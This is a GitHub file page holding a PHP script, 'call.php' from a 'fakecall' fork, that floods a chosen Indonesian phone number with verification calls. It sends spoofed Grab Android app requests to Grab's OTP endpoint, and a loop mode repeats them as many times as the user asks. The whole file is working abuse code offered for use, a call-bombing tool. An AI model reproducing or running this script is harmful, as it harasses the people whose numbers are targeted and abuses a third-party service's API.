forked from siputra12/fakecall
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcall.php
110 lines (110 loc) · 3.12 KB
/
call.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
function get(){
return trim(fgets(STDIN));
}
class prankCall{
public function __construct($no){
$this->number = $no;
}
private function get(){
return trim(fgets(STDIN));
}
private function correct($no){
$cek = substr($no,0,2);
if($cek=="08"){
$no = "62".substr($no,1);
}
return $no;
}
private function ekse(){
$no = $this->correct($this->number);
$rand = rand(0123456,9999999);
$rands = $this->randStr(12);
$post = "method=CALL&countryCode=id&phoneNumber=$no&templateID=pax_android_production";
$h[] = "x-request-id: ebf61bc3-8092-4924-bf45-$rands";
$h[] = "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8";
$h[] = "User-Agent: Grab/5.20.0 (Android 6.0.1; Build $rand)";
$h[] = "Content-Type: application/x-www-form-urlencoded";
$h[] = "Content-Length: ".strlen($post);
$h[] = "Host: api.grab.com";
$h[] = "Connection: close";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_HTTPHEADER, $h);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$x = curl_exec($ch); curl_close($ch);
$ekse = json_decode($x,true);
if(empty($ekse['challengeID'])){
echo "Gagal\n";
}else{
echo "Sukses\n";
}
}
private function loop($many,$sleep=null){
$a=0;
$no = $this->correct($this->number);
while($a<$many){
$rand = rand(0123456,9999999);
$rands = $this->randStr(12);
$post = "method=CALL&countryCode=id&phoneNumber=$no&templateID=pax_android_production";
$h[] = "x-request-id: ebf61bc3-8092-4924-bf45-$rands";
$h[] = "Accept-Language: in-ID;q=1.0, en-us;q=0.9, en;q=0.8";
$h[] = "User-Agent: Grab/5.20.0 (Android 6.0.1; Build $rand)";
$h[] = "Content-Type: application/x-www-form-urlencoded";
$h[] = "Content-Length: ".strlen($post);
$h[] = "Host: api.grab.com";
$h[] = "Connection: close";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://api.grab.com/grabid/v1/phone/otp");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_HTTPHEADER, $h);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$x = curl_exec($ch); curl_close($ch);
$ekse = json_decode($x,true);
if(empty($ekse['challengeID'])){
continue;
}else{
$nn = $a+1;
echo "[$nn] Sukses\r";
$a++;
}
if($sleep!=null) sleep($sleep);
if($a>=$many) echo "\nCompleted!\n";
}
}
private function randStr($l){
$data = "abcdefghijklmnopqrstuvwxyz1234567890";
$word = "";
for($a=0;$a<$l;$a++){
$word .= $data{rand(0,strlen($data)-1)};
}
return $word;
}
public function run(){
while(true){
echo "?Loop(y/n) ";
$loop = $this->get();
if($loop=="y" OR $loop=="n"){
break;
}else{
echo "Jika ya jawab y jika tidak jawab n\n";
continue;
}
}
if($loop=="y"){
echo "?Many ";
$many = $this->get();
$this->loop($many);
}else{
$this->ekse();
}
}
}
echo "#################################\n# Copyright : @xptra | SGB-Team #\n#################################\n";
echo "?Number ";
$no = get();
$n = new prankCall($no);
$n->run();